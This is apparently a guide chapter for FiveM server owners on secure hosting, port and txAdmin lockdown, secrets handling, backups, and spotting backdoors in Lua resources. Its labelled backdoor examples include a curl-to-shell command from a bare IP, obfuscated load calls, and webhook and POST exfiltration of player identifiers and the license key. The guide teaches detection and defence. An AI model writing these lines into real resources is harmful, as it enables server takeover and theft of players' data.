Secure hosting and anti-backdoor
Choose wisely where you host the server, lock down ports and firewall, and learn to recognize the patterns of a resource with a backdoor before you install it.
Your FiveM server is a machine exposed to the internet that runs third-party code: every resource you install is code that runs with full powers over your database and your economy. This chapter covers the two sides of security: where and how to host the server (infrastructure), and how to prevent a malicious resource (a backdoor) from stealing your money, your players' identifiers or full control of the city.
Where do I host the server?
FiveM is very single-threaded: most of the server's work falls on a single CPU thread. That's why per-core power (clock speed, IPC) matters more than having many cores. RAM is driven by your assets (maps, vehicles, scripts); and a good network with low latency and anti-DDoS protection is almost mandatory, because denial-of-service attacks are common in FiveM.
- VPS / dedicated: full control, you can harden the OS and firewall however you like. Downside: you're the admin, you're responsible for security and updates.
- Specialized game hosts (Zap-Hosting and the like): one-click install, panels, anti-DDoS included. Downside: less fine-grained control, sometimes weaker per-core CPU and a recurring cost.
- Your own PC: for LOCAL testing only. Never open your home to the internet for production: you expose your IP, your home network and your machine to attacks.
Ports, firewall and txAdmin
FiveM needs port 30120 open on TCP and UDP. Everything else should be closed by default and opened only when you need it. txAdmin (the admin panel, on 40120 by default) must NOT be left exposed to the whole internet: restrict it to your IP, put it behind a VPN or use a proxy with HTTPS. An open txAdmin with a weak password is a direct door into your server.
- Open 30120 TCP + UDP (the game uses both).
- Restrict txAdmin (40120) to your IP or behind a VPN; never with the default password.
- Close everything else by default (deny policy, open only what's essential).
- Enable anti-DDoS protection: from the provider, from a game host, or from a proxy in front.
The core: anti-backdoor in resources
A backdoor is hidden code inside a seemingly normal resource (a shop script, a map, a "free" pack from Discord) that, once on your server, leaks data, grants admin to an attacker, steals money or runs commands. Since a server_script runs with the server's full authority, a single malicious resource is enough. Before you install ANYTHING, open the .lua files and look for these patterns.
- Hidden Discord webhooks: they exfiltrate money, identifiers or logs to an attacker's server.
- assert(load(...)) or loadstring with obfuscated strings (hex \x.. or base64): they run code you can't read at a glance.
- os.execute or io.popen: they run operating-system commands on your machine.
- PerformHttpRequest to shady domains (pastebin, URL shorteners, bare IPs): downloading payloads or sending stolen data.
- ExecuteCommand('add_principal ...') or anything that grants admin from inside a resource.
- Reading secrets: GetConvar of sv_licenseKey, tokens, API keys or database credentials to steal them.
-- 🚩 BACKDOOR EXAMPLES, this must NOT be in your resources
-- 1) Loading obfuscated code (you can't read what it runs)
assert(load("\x6f\x73\x2e\x65..."))() -- disguised hex
-- 2) Running system commands
os.execute("curl http://1.2.3.4/x.sh | sh")
io.popen("whoami")
-- 3) Leaking identifiers to a Discord webhook
PerformHttpRequest("https://discord.com/api/webhooks/XXX/YYY", function() end,
"POST", json.encode({ content = GetPlayerIdentifiers(src)[1] }),
{ ["Content-Type"] = "application/json" })
-- 4) Granting itself admin from a resource
ExecuteCommand("add_principal identifier.fivem:OTHER group.admin")
-- 5) Stealing the server's license key
local key = GetConvar("sv_licenseKey", "")
PerformHttpRequest("http://fake-pastebin.tld/leak", function() end, "POST", key)Typical patterns of a malicious resource
If you find very long hex or base64 strings, code that "decrypts" itself, or outbound connections that make no sense for what the resource claims to do, assume it's a backdoor and do NOT install it. Code being obfuscated "to protect the license" is the oldest excuse in the book: a clean script doesn't need to hide what it does to your server.
Defense in depth
- The client ALWAYS lies: validate every action (money, items, position, permissions) on the server. A client event is a request, not a truth.
- Install only from trusted sources (official Tebex/CFX, known authors). Be wary of "leak" or "free" packs from Discord: they usually come with a backdoor.
- Scan the .zip files before installing them. Crxative-M includes a security scanner/audit that detects these patterns for you, but read the code anyway.
- Least privilege in ACE: give each group only the permissions it needs; don't hand out group.admin lightly.
Secrets outside the code
Never write keys, tokens or passwords directly in the .lua files or push them to the repository. Put them in a secrets.cfg with set and read them with GetConvar. That file goes in your .gitignore and is never shared.
# secrets.cfg (NEVER in git, add it to .gitignore)
sv_licenseKey "cfxk_YOUR_KEY"
set mysql_connection_string "mysql://user:pass@localhost/db"
set discord_token "YOUR_BOT_TOKEN"
set webhook_logs "https://discord.com/api/webhooks/..."
# In server.cfg you load it with:
# exec secrets.cfg
# And in Lua you read it with: local token = GetConvar("discord_token", "")secrets.cfg with convars
Backups
Whatever happens (a backdoor, an accidental deletion, a disk failure) only a backup saves you. Make automatic copies of the database and the resources folder, keep them off the server and, most importantly, TEST restoring them from time to time. A backup you've never restored doesn't exist: you only find out when it's already too late.
When in doubt about any resource: scan it and read it before installing it. A backdoor can drain your city, money, items and your players' data, in a matter of minutes, and often without you noticing until there's nothing left to recover.
Put it into practice
Got a question about this? The AI chat knows all of it and answers with code.
Ask the AI